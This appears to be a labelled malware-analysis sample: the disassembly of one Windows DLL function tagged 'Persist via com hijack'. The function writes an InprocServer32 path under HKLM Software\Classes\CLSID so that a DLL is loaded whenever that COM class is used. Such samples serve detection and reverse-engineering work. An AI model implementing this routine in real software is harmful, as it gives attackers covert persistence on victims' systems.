Function at 0x1800015d0
Capabilities:
Persist via com hijack
Set registry value

Disassembly:
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x280], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001878
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x3a0], rbx
call fcn.1800018c0
movups xmm0, xmmword [0x1800033f0]
movzx eax, word [0x180003418]
xor edx, edx
movups xmm1, xmmword [0x180003400]
lea rcx, [rbp + 0x9a]
mov r8d, 0xdb
movaps xmmword [rbp + 0x70], xmm0
movsd xmm0, qword [0x180003410]
movsd qword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0x80], xmm1
mov word [rbp + 0x98], ax
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x180]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rdx, [rbp + 0x180]
mov ebx, 0x80
lea rcx, [0x1800033a0]
mov r8d, ebx
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
call qword [sym.imp.ole32.dll_StringFromGUID2]
lea r9, [rbp + 0x180]
mov qword [rsp + 0x20], rbx
mov r8d, ebx
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
lea r8, str.SoftwareclassesCLSID_
mov edx, ebx
lea rax, [rbp - 0x10]
sub r8, rax
lea rcx, [rbp - 0x10]
nop dword [rax + rax]
lea rax, [rdx + 0x7fffff7e]
test rax, rax
je 0x180001720
movzx eax, byte [r8 + rcx]
test al, al
je 0x180001720
mov byte [rcx], al
inc rcx
sub rdx, 1
jne 0x180001700
lea rax, [rcx - 1]
test rdx, rdx
cmovne rax, rcx
mov rcx, rbx
mov byte [rax], 0
lea rax, [rbp - 0x10]
cmp byte [rax], 0
je 0x180001743
inc rax
sub rcx, 1
jne 0x180001735
xor edi, edi
mov rax, rbx
sub rax, rcx
test rcx, rcx
cmove rax, rdi
je 0x18000179a
sub rbx, rax
lea rax, [rbp + rax - 0x10]
je 0x18000178c
lea r8, [rsp + 0x70]
mov ecx, 0x7ffffffe
sub r8, rax
nop dword [rax + rax]
test rcx, rcx
je 0x18000178c
movzx edx, byte [r8 + rax]
test dl, dl
je 0x18000178c
mov byte [rax], dl
dec rcx
inc rax
sub rbx, 1
jne 0x180001770
test rbx, rbx
lea rcx, [rax - 1]
cmovne rcx, rax
mov byte [rcx], dil
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], 4
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rbx, qword [rsp + 0x3a0]
test eax, eax
jne 0x180001878
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rdi
lea rdx, str.InprocServer32
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 4
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x18000186d
lea rcx, [rbp + 0x70]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], dil
jne 0x180001830
mov rcx, qword [rsp + 0x58]
inc eax
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp + 0x70]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x18000189d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x80004005
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.180001ec0
mov rdi, qword [rsp + 0x3a8]
add rsp, 0x390
pop rbp
ret
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x18000187d